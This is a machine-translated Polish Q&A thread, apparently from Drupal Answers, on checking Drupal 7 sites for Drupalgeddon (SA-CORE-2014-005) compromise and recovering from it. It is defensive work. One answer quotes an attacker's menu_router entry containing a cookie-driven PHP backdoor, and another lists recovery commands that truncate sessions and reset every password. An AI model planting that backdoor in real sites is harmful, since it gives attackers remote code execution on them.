Drupal SA-CORE-2014-005 - Jak stwierdzić, czy mój serwer / witryny zostały naruszone?

40

Właśnie zaktualizowałem wszystkie moje witryny przy użyciu metody łatki do rozwiązania problemu związanego z Drupal SA-CORE-2014-005. Właśnie czytałem raporty, że wczoraj jest ktoś z rosyjskiej witryny IP infiltrującej witryny Drupal.

https://www.drupal.org/SA-CORE-2014-005

Moje główne obawy to teraz:

  • Jak sprawdzić, czy moje strony zostały uwzględnione?
  • Czego powinienem szukać w dziennikach dostępu apache, aby sprawdzić, czy moja witryna była ofiarą, czy nie?
  • Do tej pory co hakerzy robią ze złożonymi stronami?
Patoshi パ ト シ
źródło
7
Jest na to moduł teraz drupal.org/project/drupalgeddon
mikeytown2,
co jeśli nie mam skonfigurowanych aliasów dla 100 stron Drupal? jakie są typowe włamania do twojego znaleziska, abyśmy wiedzieli, po co się gnać?
Patoshi パ ト シ
1
@duckx Sprawdź kod w module drupalgeddon, a znajdziesz te popularne hacki; z oczywistych powodów nie możemy wymienić wszystkich możliwych zmian, które złośliwy użytkownik może wprowadzić przy pełnym dostępie do bazy danych. Mogą wprowadzać dowolne zmiany, do których użytkownik Drupal mysql ma uprawnienia, i o to chodzi. Tak więc dosłownie jedynym sposobem, aby się upewnić, jest porównanie bieżącej bazy danych ze znaną dobrą wersją. Jeśli szukasz przycisku do naciśnięcia, który w niezawodny, 100% sposób powie ci, czy Twoja witryna została naruszona, marzysz, że się boję :)
Clive
Ducky: jeśli nie masz skonfigurowanych aliasów i masz 100 witryn, łatwiej będzie skonfigurować aliasy, niż zajmować się nimi ręcznie? Zdobądź listę katalogów głównych i adresów URL, a stamtąd możesz przekształcić je w zestaw aliasów.
Chris Burgess

Odpowiedzi:

6

Oto kilka zapytań SQL, które można uruchomić z bazami danych witryny w celu sprawdzenia użytkowników z uprawnieniami administratora i którzy z nich uzyskali dostęp do witryny po 15 października.

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

JustinChev
źródło
1
Cześć i witam w Drupal Answers. Możesz poprawić swoją odpowiedź, dostarczając krótkie podsumowanie podanej strony.
Wtower
Przy okazji zaleca się sprawdzenie użytkowników utworzonych po 15 października. Wykorzystuje to createdpole z tabeli użytkowników. Nie ma gwarancji, że osoba, która wstrzyknęła SQL, uszanuje wartość pola, co sprawia, że ​​ta kontrola nie jest całkiem przydatna. Rzeczywiście przyszło mi do głowy, że pospolity zastrzyk użytkownika o tej nazwie drupaldevzostał przypuszczalnie stworzony 44 tygodnie temu. Jeśli chodzi o drugie zalecenie, znowu nie ma gwarancji, że wstrzyknięty użytkownik rzeczywiście się zaloguje.
Wtower,
29

Jeśli czytasz ten artykuł i chcesz sprawdzić witrynę Drupal 7 ponad miesiąc po wylądowaniu exploita, prawdopodobnie Twoja witryna została już zhakowana . Najlepszym rozwiązaniem jest przywrócenie kopii zapasowej sprzed rozpoczęcia ataków i stamtąd praca.

Jest FAQ na SA-CORE-2014-005 .

Jak sprawdzić, czy moje witryny zostały naruszone?

Jednym ze sposobów szybkiego sprawdzenia, czy strony są zagrożone, jest użycie komendy Drupalgeddon drush.

Zainstaluj za ~/.drushpomocądrush dl drupalgeddon

Następnie użyj drush drupalgeddon-testdo przetestowania. Aliasy Drush sprawiają, że jest to łatwe i szybkie.

To narzędzie może potwierdzić wykorzystanie witryny, ale nie może zagwarantować, że witryna nie zostanie wykorzystana. Nie ma tutaj „czystej karty zdrowia”, chyba że zaktualizujesz ją przed rozpoczęciem ataków.


Moduł Site Audit zawiera niektóre kontrole z Drupalgeddon i zapewnia również o wiele bardziej przydatne informacje. Gorąco polecam. (EDYCJA: Teraz pracują razem - super miło!)


Przegląd bezpieczeństwa nie sprawdza ataków Drupalgeddon, ale warto też mieć go w swoim pasku narzędzi.


Jeśli twoja baza kodu witryny była możliwa do zapisu dla użytkownika www, możesz dodatkowo sprawdzić zmodyfikowany kod za pomocą zhakowanego modułu. Ten moduł może nie robić tego, co myślisz na podstawie samej nazwy :)


Chociaż nie ma jednego określonego sposobu identyfikacji wszystkich zaatakowanych witryn, narzędzia te mogą pomóc w zidentyfikowaniu najczęstszych wskazań.


Czego powinienem szukać w dziennikach dostępu apache, aby sprawdzić, czy moja witryna była ofiarą, czy nie?

Twoje dzienniki dostępu będą teraz zawierać wiele żądań POST. O ile nie wykonałeś niezwykłego kroku rejestrowania wszystkich danych postu przed błędem, prawdopodobnie nie będziesz mieć informacji, które wskazywałyby, które z nich były złośliwe.

Jak dotąd hakerzy robią z zainfekowanymi witrynami?

Wielu twierdzi, że hakerzy łatają ich witryny! Jako atakujący ma to sens - nie chcesz, aby twoja nowo porwana strona została wyciągnięta spod ciebie przez następnego napastnika :)

Poza tym, zgaduję, że strony są wykorzystywane do zbierania cennych danych (może po to, by zdobyć kredyty, może podnieść szczegóły transakcji po wykorzystaniu) i robić nudne rzeczy, takie jak wysyłanie spamu i praca jako skromni niewolnicy botnetów. Aha, i dalej rozszerzaj imperium atakującego o porwane witryny Drupal. (Przepraszam, nie mam żadnych zaatakowanych witryn).

Chris Burgess
źródło
Możesz wyjaśnić? Czy jakikolwiek atak zawsze zaczyna się od żądania POST? Sprawdzam moje dzienniki pod kątem wszelkich POST. Zauważyłem ten z IP 62.76.191.119 po tym, jak załatałem.
Lance Holland
Miałem witrynę, która padła ofiarą tego exploita i wydawało się, że napastnicy wykorzystali go do wysłania ton spamu z serwera.
Kod cyklonowy
24

Niektóre kontrole pod kątem typowych ataków to (nie jest to wyczerpująca lista, ale niektóre z ataków spotykanych dotychczas na wolności):

  • Sprawdź swoje konto użytkownika 1, aby upewnić się, że jego nazwa użytkownika, adres e-mail lub hasło są zgodne z oczekiwaniami. Jeśli to możliwe, sprawdź także wszystkie inne konta użytkowników, które mają wysoki poziom uprawnień.
  • Sprawdź nowe konta użytkowników, które wyglądają podejrzanie.
  • Sprawdź zmiany ról w systemie, na przykład wszelkie nowe role lub role o zmienionej nazwie.
  • Sprawdź zmiany uprawnień. Najważniejszym aspektem tego jest upewnienie się, że anonimowa rola użytkownika (lub inne role, które każdy może się zarejestrować), nie została zmieniona, aby zapewnić im większy dostęp.
  • Sprawdź nowe niestandardowe bloki, które mogą zawierać złośliwy kod.
  • Sprawdź nowe niestandardowe węzły, które mogą zawierać złośliwy kod.
  • Sprawdź, czy w systemie plików nie ma plików, których nie powinno tam być. Jest to łatwe, jeśli używasz kontroli wersji, ponieważ możesz zrobić status git lub svn st, aby sprawdzić, czy są jakieś nowe pliki.
  • Jeśli przesłali złośliwe pliki, możesz sprawdzić, czy w dziennikach dostępu nie ma trafień do dziwnych nazw plików, których nie znasz.
  • Sprawdź tabelę bazy danych routera menu pod kątem złośliwych wpisów. Na przykład (moduł drupalgeddon / wtyczka drush na drupal.org ma dobry skrypt do dokładniejszego sprawdzania tej tabeli):

    WYBIERZ * Z menu_router GDZIE access_callback = 'file_put_contents';

  • Możesz także po prostu przejrzeć tabelę routera menu w poszukiwaniu dziwnie wyglądających pozycji.

Niektóre rzeczy, które próbują zrobić hakerzy, to:

  • Umieść pliki skryptu php na swojej stronie, które można następnie uruchomić, uderzając je w przeglądarce. Te skrypty mogą wykonywać wiele złośliwych działań. Osiąga się to poprzez dodanie szkodliwych pozycji routera menu.
  • Utwórz dla nich konta użytkowników administracyjnych, aby następnie używać ich do robienia złych rzeczy w witrynie lub przejmowania witryny.
  • Zmień adres e-mail użytkownika 1, aby mógł zresetować hasło do tego konta i przejąć je.
  • Zmień uprawnienia do publicznie dostępnych ról użytkowników.
  • Dodaj bloki / węzły / itp. które mogą zawierać złośliwy kod. Jeśli masz włączony filtr PHP, jest to jeszcze większy problem.

Niestety, jest tak wiele rzeczy, które osoba atakująca może zrobić z bazą danych, że trudno jest podać pełną listę możliwości. Mogą robić rzeczy, które próbują uzyskać kontrolę nad Twoją witryną, lub mogą po prostu zniszczyć Twoją witrynę, ale upuszczając tabele lub kolumny bazy danych itp.

Mogą nawet wprowadzić bardzo małe zmiany w konfiguracji witryny, takie jak zmiana nazwy witryny lub coś w tym rodzaju, co nie jest końcem świata, ale wciąż stanowi problem.

Zasadniczo wszystko, co można zrobić w bazie danych, uruchamiając polecenie SQL, może teoretycznie zrobić osoba atakująca.

Wszystkie moduły wymienione w odpowiedzi Chrisa Burgessa są bardzo przydatne w sprawdzaniu tych rzeczy.

rooby
źródło
1
Musisz zostać trafiony przez 62.76.191.119. Zwykle wygląda na to, że ten adres IP próbuje umieścić plik w twoim pliku docroot za pomocą menu_router i ewentualnie innych nieprzyjemnych rzeczy w twoim DB. komentarze możesz przeczytać na drupal.org/node/2357241 .
scor
Jak dotąd moje dochodzenie w sprawie moich stron nie było dla mnie żadnym problemem. To tylko informacja, która pomoże OP.
rooby
jak powinienem przejść do tematu „Sprawdź, czy w tabeli bazy danych routera menu nie ma złośliwych wpisów:”? jestem na serwerze Centos i mam root.
Patoshi パ ト シ
Możesz uruchomić polecenie bazy danych „WYBIERZ * Z menu_router”, a następnie przejrzeć je wszystkie, aby sprawdzić, czy wiersze wyglądają nie na miejscu. W mojej odpowiedzi wymieniono także bardziej szczegółowe polecenie, które szuka jednego konkretnego znanego ataku, który jest używany do przesyłania plików na serwer.
rooby
To IP 62.76.191.119 próbuje wykorzystać lukę w moich witrynach w ciągu jednego dnia po wydaniu aktualizacji zabezpieczeń. Zbanowano mnie ze wszystkich moich stron. Miałem szczęście, że zaktualizowałem swoje strony na czas. To było dziwne, ponieważ trafiało na moje strony w kolejności alfabetycznej.
cayerdis
10

Myślę, że poszedłbym z radą drupal.org: „ Powinieneś postępować przy założeniu, że każda witryna Drupal 7 została naruszona, chyba że została zaktualizowana lub załatana przed 15 października, 23:00 UTC, czyli 7 godzin po ogłoszeniu .”. Jak powiedział Bevan w tym komentarzu „Aktualizacja lub łatanie Drupala nie naprawia backdoorów, które atakujący zainstalowali przed aktualizacją lub łataniem Drupala”.

Bevan stworzył również poniższy schemat przepływu pracy, aby pomóc Ci przeanalizować, czy możesz zostać zarażony oraz jak odzyskać i zapobiec . Jednak prosi wszystkich o przejrzenie jego oryginalnego artykułu, aby upewnić się, że masz najnowszą wersję przepływu pracy. Ponadto Acquia tworzy interesujący artykuł na temat ataków i schematów, których doświadczyli w Acquia Cloud

 schemat blokowy, aby dowiedzieć się, czy jesteś podatny na zagrożenia, jeśli mógłbyś zostać zainfekowany i jak odzyskać

Cayerdis
źródło
4

Cytat z: https://www.drupal.org/node/2357241#comment-9258955

To jest przykład pliku, który zostaje wstawiony do tabeli menu_router access_callback:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Jak widać stara się utworzyć moduły plików / image / vzoh.php, ale ponieważ mam tylko uprawnienia do odczytu w tych katalogach, php kończy się niepowodzeniem.

Raporty osób, które znalazły podobne pliki utworzone podczas wyszukiwania w katalogu drupal: https://www.drupal.org/node/2357241#comment-9260017


Zrobiłem następujące polecenie:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

Cytat z: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Wyświetlanie plików, które zmieniły się na serwerze na żywo: status git

Szukasz prób wykonania kodu za pomocą menu_router: wybierz * z menu_router, gdzie access_callback = 'file_put_contents'

Pokazuje, które pliki znajdują się na serwerze na żywo, a nie w kontroli wersji: diff -r docroot repo | grep docroot | grep „Only in docroot”

Znajdowanie plików PHP w katalogu plików: znajdź. -path "* php"

Sprawdzanie czasu między zalogowaniem się użytkownika na stronie a jego ostatnią wizytą na stronie: wybierz (s.timestamp - u.login) / 60/60/24 AS dni_since_login, u.uid z wewnętrznych sesji dołącz do użytkowników u s.uid = u.uid;

Patoshi パ ト シ
źródło
3

Bardzo dobra lista poleceń, aby stwierdzić, czy zostałeś skompromitowany.

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));
Patoshi パ ト シ
źródło
1
Zamiast dawać osobne odpowiedzi, być może powinieneś edytować pierwszą i dodać dodatkowe informacje?
Kod cyklonowy
0

Za pomocą tego narzędzia online możesz sprawdzić, czy Twoja witryna została zhakowana:

Drupal Check: The EngineHack

Oczywiście ma to swoje ograniczenia, ale to dobry punkt wyjścia.

bmunslow
źródło